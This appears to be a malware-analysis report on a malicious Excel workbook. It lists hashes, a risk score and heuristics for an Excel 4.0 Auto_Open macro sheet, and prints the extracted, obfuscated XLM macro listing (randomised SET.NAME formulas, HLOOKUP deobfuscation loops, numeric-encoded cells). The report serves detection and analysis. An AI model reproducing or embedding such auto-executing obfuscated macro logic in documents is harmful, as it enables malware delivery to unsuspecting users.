Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9596b3d65c5ea2d8…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:36 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: f35d288d9fa8101b0a4f67c6d94094ff SHA-1: 8049174ee5f9de31fd2fec110f82058539d8c519 SHA-256: 9596b3d65c5ea2d8791cf47074c3739bd05eba323e6f97662983d6bd7fe177bf
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6786 bytes
SHA-256: 58e3e54daacada27aa9133a9a91420a04cc49fb5aa3d582d0a36c5e18353e36d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tVQSqNa
' 0018     27 LABEL : Cell Value, String Constant - acheLfrZTwhr len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E158 
' 0018     26 LABEL : Cell Value, String Constant - bDGjNPKBlPy len=0 
' 0018     21 LABEL : Cell Value, String Constant - BiCrpR len=0 
' 0018     25 LABEL : Cell Value, String Constant - CUfSRnMAWb len=0 
' 0018     26 LABEL : Cell Value, String Constant - DMFXSOMfhPm len=0 
' 0018     22 LABEL : Cell Value, String Constant - GpFGECZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - hBrBytWCy len=0 
' 0018     22 LABEL : Cell Value, String Constant - HlVLIRE len=0 
' 0018     22 LABEL : Cell Value, String Constant - iVkEtre len=0 
' 0018     21 LABEL : Cell Value, String Constant - jVsDAv len=0 
' 0018     25 LABEL : Cell Value, String Constant - kEPPoHMhAa len=0 
' 0018     24 LABEL : Cell Value, String Constant - MnLhXySqY len=0 
' 0018     26 LABEL : Cell Value, String Constant - ovxLGqOWBVN len=0 
' 0018     24 LABEL : Cell Value, String Constant - pxcrIIMbQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - QghZqJRgPHG len=0 
' 0018     24 LABEL : Cell Value, String Constant - TavELZbXh len=0 
' 0018     23 LABEL : Cell Value, String Constant - VdceiebB len=0 
' 0018     25 LABEL : Cell Value, String Constant - xHafsTQHIu len=0 
' 0018     22 LABEL : Cell Value, String Constant - ybrskgH len=0 
' 0018     25 LABEL : Cell Value, String Constant - YQvSRzvuBc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tVQSqNa,E68,"SET.NAME("jVsDAv",0+VALUE("0"))",""
'  tVQSqNa,E72,"SET.NAME("HlVLIRE",jVsDAv)",""
'  tVQSqNa,E74,"SET.NAME("DMFXSOMfhPm",jVsDAv)",""
'  tVQSqNa,E78,"SET.NAME("iVkEtre",COUNTA(GpFGECZ))",""
'  tVQSqNa,E82,"SET.NAME("ovxLGqOWBVN",COUNTA(hBrBytWCy))",""
'  tVQSqNa,E85,[],""
'  tVQSqNa,S86,"",-744.00000000000000000000
'  tVQSqNa,S87,"",410.00000000000000000000
'  tVQSqNa,S88,"",984.00000000000000000000
'  tVQSqNa,E89,"SET.NAME("pxcrIIMbQ","")",""
'  tVQSqNa,S89,"",-962.00000000000000000000
'  tVQSqNa,S90,"",-591.00000000000000000000
'  tVQSqNa,E91,"HlVLIRE",""
'  tVQSqNa,S91,"",-911.00000000000000000000
'  tVQSqNa,E96,"SET.NAME("QghZqJRgPHG",HLOOKUP("*",GpFGECZ,HlVLIRE,FALSE))",""
'  tVQSqNa,E100,"kEPPoHMhAa",""
'  tVQSqNa,E102,"SET.NAME("bDGjNPKBlPy",jVsDAv)",""
'  tVQSqNa,E105,[],""
'  tVQSqNa,E110,"bDGjNPKBlPy",""
'  tVQSqNa,E114,"TavELZbXh",""
'  tVQSqNa,E119,"acheLfrZTwhr",""
'  tVQSqNa,E121,"CUfSRnMAWb",""
'  tVQSqNa,E125,"SET.NAME("xHafsTQHIu",VALUE(HLOOKUP("*",hBrBytWCy,CUfSRnMAWb,FALSE)))",""
'  tVQSqNa,E130,"VdceiebB",""
'  tVQSqNa,E132,"pxcrIIMbQ",""
'  tVQSqNa,E136,"DMFXSOMfhPm",""
'  tVQSqNa,E141,NEXT(),""
'  tVQSqNa,E143,"ybrskgH",""
'  tVQSqNa,E145,[],""
'  tVQSqNa,E148,"MnLhXySqY",""
'  tVQSqNa,E150,NEXT(),""
'  tVQSqNa,E154,RETURN(),""
'  tVQSqNa,E181,"SET.NAME("YQvSRzvuBc",E68)",""
'  tVQSqNa,E183,"GpFGECZ",""
'  tVQSqNa,E185,"SET.NAME("hBrBytWCy",R43C12)",""
'  tVQSqNa,E190,"SET.NAME("MnLhXySqY",200)",""
'  tVQSqNa,E195,"SET.NAME("BiCrpR",5)",""
'  tVQSqNa,E199,YQvSRzvuBc(),""
'  tVQSqNa,E200,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.